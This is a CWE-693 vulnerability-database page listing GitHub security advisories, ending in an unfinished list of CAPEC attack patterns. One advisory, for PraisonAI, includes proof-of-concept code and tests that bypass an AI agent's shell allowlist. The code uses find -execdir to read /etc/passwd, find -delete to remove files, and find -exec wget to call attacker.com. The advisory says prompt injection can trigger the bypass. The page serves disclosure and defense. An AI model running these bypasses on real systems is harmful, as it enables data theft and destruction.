CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1336 vulnerabilities reference this CWE, most recent first.
GHSA-CMFC-3Q8R-88W2
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.
{
"affected": [],
"aliases": [
"CVE-2026-45655"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:32Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.",
"id": "GHSA-cmfc-3q8r-88w2",
"modified": "2026-06-09T18:30:53Z",
"published": "2026-06-09T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45655"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CMQQ-5RP5-X675
Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32Secure Boot Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2025-21211"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T18:15:32Z",
"severity": "MODERATE"
},
"details": "Secure Boot Security Feature Bypass Vulnerability",
"id": "GHSA-cmqq-5rp5-x675",
"modified": "2025-01-14T18:32:02Z",
"published": "2025-01-14T18:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21211"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21211"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CPGJ-F7G3-2PP2
Vulnerability from github – Published: 2026-06-16 19:02 – Updated: 2026-07-20 21:01Summary
When fetch() was called, Deno checked the destination hostname against
--deny-net rules but did not re-check the IP addresses that hostname
resolved to. An attacker-controlled script could use a specially crafted domain
name that passes the hostname check yet resolves to a denied IP, bypassing the
network restriction entirely.
Impact
Code running under --deny-net could reach hosts that the user intended to
block. In practice this means network isolation rules — for example, blocking
access to localhost or internal services — could be silently circumvented by
a malicious or compromised dependency.
A companion advisory covers the same class of issue in the WebSocket API.
Who is affected
Users who:
- run untrusted or third-party code with
deno run, and - rely on
--deny-netto restrict which hosts that code can reach.
If you do not use --deny-net, or if you only run fully trusted code, you are
not affected.
Workaround
No workaround is available short of upgrading. If upgrading immediately is not
possible, avoid granting --allow-net to untrusted code that also has
--deny-net restrictions you depend on for security.
Fix
The fetch() DNS resolver now performs a post-resolution check on every IP
address before passing it to the HTTP connector, consistent with how
Deno.connect already behaved.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.0"
},
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49859"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T19:02:55Z",
"nvd_published_at": "2026-06-23T18:18:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen `fetch()` was called, Deno checked the destination hostname against\n`--deny-net` rules but did not re-check the IP addresses that hostname\nresolved to. An attacker-controlled script could use a specially crafted domain\nname that passes the hostname check yet resolves to a denied IP, bypassing the\nnetwork restriction entirely.\n\n## Impact\n\nCode running under `--deny-net` could reach hosts that the user intended to\nblock. In practice this means network isolation rules \u2014 for example, blocking\naccess to `localhost` or internal services \u2014 could be silently circumvented by\na malicious or compromised dependency.\n\nA companion advisory covers the same class of issue in the WebSocket API.\n\n## Who is affected\n\nUsers who:\n\n- run untrusted or third-party code with `deno run`, and\n- rely on `--deny-net` to restrict which hosts that code can reach.\n\nIf you do not use `--deny-net`, or if you only run fully trusted code, you are\nnot affected.\n\n## Workaround\n\nNo workaround is available short of upgrading. If upgrading immediately is not\npossible, avoid granting `--allow-net` to untrusted code that also has\n`--deny-net` restrictions you depend on for security.\n\n## Fix\n\nThe `fetch()` DNS resolver now performs a post-resolution check on every IP\naddress before passing it to the HTTP connector, consistent with how\n`Deno.connect` already behaved.",
"id": "GHSA-cpgj-f7g3-2pp2",
"modified": "2026-07-20T21:01:14Z",
"published": "2026-06-16T19:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-cpgj-f7g3-2pp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49859"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno: `fetch()` API sandbox bypass via missing DNS resolution check"
}
GHSA-CQ55-H3QW-J4HC
Vulnerability from github – Published: 2024-04-26 21:31 – Updated: 2024-12-10 18:31A logic issue was addressed with improved checks. This issue is fixed in iTunes 12.12.4 for Windows. A local attacker may be able to elevate their privileges.
{
"affected": [],
"aliases": [
"CVE-2022-48611"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-26T20:15:07Z",
"severity": "HIGH"
},
"details": "A logic issue was addressed with improved checks. This issue is fixed in iTunes 12.12.4 for Windows. A local attacker may be able to elevate their privileges.",
"id": "GHSA-cq55-h3qw-j4hc",
"modified": "2024-12-10T18:31:06Z",
"published": "2024-04-26T21:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48611"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/103001"
},
{
"type": "WEB",
"url": "https://support.claris.com/s/answerview?anum=000041674\u0026language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CRW2-CM3V-9P9W
Vulnerability from github – Published: 2026-06-11 21:31 – Updated: 2026-06-11 21:31This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in macOS Sequoia 15.4. An app may be able to break out of its sandbox.
{
"affected": [],
"aliases": [
"CVE-2025-24284"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-11T19:16:27Z",
"severity": "HIGH"
},
"details": "This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in macOS Sequoia 15.4. An app may be able to break out of its sandbox.",
"id": "GHSA-crw2-cm3v-9p9w",
"modified": "2026-06-11T21:31:54Z",
"published": "2026-06-11T21:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24284"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122373"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV3G-HJ65-PCFH
Vulnerability from github – Published: 2026-10-08 22:00 – Updated: 2026-10-08 22:00Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap |
|---|---|---|---|
| 1 | TS utility-tools shell() |
src/praisonai-ts/src/tools/utility-tools.ts:255 |
find in safeCommands allowlist |
| 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 |
find absent from DEFAULT_BLOCKED_COMMANDS |
| 3 | Python safe_shell |
src/praisonai/praisonai/cli/features/safe_shell.py:22-58 |
find absent from BANNED_COMMANDS, present in SAFE_COMMANDS |
| 4 | Python sandbox_executor |
src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 |
find absent from blocked_commands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + |
Result |
|---|---|---|
Metachar regex /[;|&\><]/|{,},+` are not in regex |
PASS | |
Regex /\$\([^)]*\)/ |
No $(...) |
PASS |
safeCommands.includes('find') |
find IS in allowlist |
PASS |
| SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) |
PASS |
spawn('find', [...], {shell:false}) |
find interprets -execdir internally |
BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? |
|---|---|---|
Access to shell() or SandboxExecutor |
Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |
find binary on target |
Standard Unix utility, present on Linux/macOS | Y |
find in allowlist / absent from blocklist |
Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() {
// Control: direct 'wget' is rejected (not in safeCommands)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero
4. Python safe_shell
from praisonai.cli.features.safe_shell import safe_execute
result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read:
-execdirreads files inDEFAULT_BLOCKED_PATHSby splitting the path across arguments (verified: exit 0, data returned) - File deletion:
-deletedestroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution:
-execruns commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests:
test('rejects find -exec', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
- Fix commits: 2adfe7e, 2f9677a (2026-06-13)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61434"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:00:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`\u0027s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|\u0026`\u003e\u003c$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters \u2014 the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec \u003ccommand\u003e {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|\u0026\\`\u003e\u003c]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes(\u0027find\u0027)` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes(\u0027/etc/passwd\u0027)` \u2192 FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn(\u0027find\u0027, [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor\u0027s substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require(\u0027praisonai/dist/tools/utility-tools\u0027);\n\nasync function poc() {\n // Control: direct \u0027wget\u0027 is rejected (not in safeCommands)\n const control = await shell(\u0027wget http://example.com\u0027);\n console.log(\u0027[CONTROL] rejected:\u0027, !control.success); // true\n\n // Bypass: find -execdir reads /etc/passwd via find\u0027s built-in action\n const bypass = await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027);\n console.log(\u0027[BYPASS]:\u0027, bypass.success); // true\n console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes(\u0027find\u0027)` \u2192 true \u2192 `containsShellMetacharacters(...)` \u2192 false \u2192 `spawn(\u0027find\u0027, [\u0027/etc\u0027,\u0027-name\u0027,\u0027passwd\u0027,\u0027-maxdepth\u0027,\u00271\u0027,\u0027-execdir\u0027,\u0027cat\u0027,\u0027{}\u0027,\u0027+\u0027], {shell:false})` \u2192 find chdirs to /etc \u2192 `cat ./passwd` \u2192 exit 0 \u2192 `{success: true, data: \"\u003cpasswd contents\u003e\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell(\u0027find /app/uploads -name \"*.bak\" -delete\u0027);\n// -delete is a find built-in \u2014 clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell(\u0027find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +\u0027);\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout) # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk \u2014 but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest(\u0027rejects find -exec\u0027, async () =\u003e {\n expect((await shell(\u0027find /tmp -maxdepth 0 -exec wget http://x.com {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -execdir\u0027, async () =\u003e {\n expect((await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -delete\u0027, async () =\u003e {\n expect((await shell(\u0027find /app -name \"*.bak\" -delete\u0027)).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
"id": "GHSA-cv3g-hj65-pcfh",
"modified": "2026-10-08T22:00:55Z",
"published": "2026-10-08T22:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Shell command allowlist bypass via find -exec built-in action"
}
GHSA-CV94-MX5J-2974
Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.
{
"affected": [],
"aliases": [
"CVE-2025-48800"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T17:15:42Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.",
"id": "GHSA-cv94-mx5j-2974",
"modified": "2025-07-08T18:31:45Z",
"published": "2025-07-08T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48800"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-48800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVPC-8WFF-778C
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in Related-Website-Sets in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14059"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:18Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Related-Website-Sets in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-cvpc-8wff-778c",
"modified": "2026-07-01T15:35:08Z",
"published": "2026-07-01T00:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14059"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/502363986"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CVVH-GP7G-9334
Vulnerability from github – Published: 2025-11-08 00:31 – Updated: 2025-11-10 18:30Insufficient policy enforcement in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to leak cross-origin data via Devtools. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2025-12909"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-08T00:15:35Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to leak cross-origin data via Devtools. (Chromium security severity: Low)",
"id": "GHSA-cvvh-gp7g-9334",
"modified": "2025-11-10T18:30:34Z",
"published": "2025-11-08T00:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12909"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/361116749"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CVXJ-4745-843X
Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-12-16 19:59Jenkins sets the Content-Security-Policy header to static files served by Jenkins (specifically DirectoryBrowserSupport), such as workspaces, /userContent, or archived artifacts, unless a Resource Root URL is specified.
ScreenRecorder Plugin 0.7 and earlier programmatically updates the Java system property allowing administrators to customize the Content-Security-Policy header for static files served by Jenkins to include media-src: 'self'. On a Jenkins instance with default configuration, this effectively disables all other directives in the default rule set, including script-src. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.
Jenkins instances with Resource Root URL configured are unaffected.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins.plugins:screenrecorder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43433"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-19T22:03:54Z",
"nvd_published_at": "2022-10-19T16:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts, unless a Resource Root URL is specified.\n\nScreenRecorder Plugin 0.7 and earlier programmatically updates [the Java system property](https://www.jenkins.io/doc/book/managing/system-properties/#hudson-model-directorybrowsersupport-csp) allowing administrators to customize the `Content-Security-Policy` header for static files served by Jenkins to include `media-src: \u0027self\u0027`. On a Jenkins instance with default configuration, this effectively disables all other directives in the default rule set, including `script-src`. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/book/security/user-content/#resource-root-url) configured are unaffected.",
"id": "GHSA-cvxj-4745-843x",
"modified": "2022-12-16T19:59:12Z",
"published": "2022-10-19T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43433"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/screenrecorder-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2864"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Content-Security-Policy protection for user content disabled by Jenkins ScreenRecorder Plugin"
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
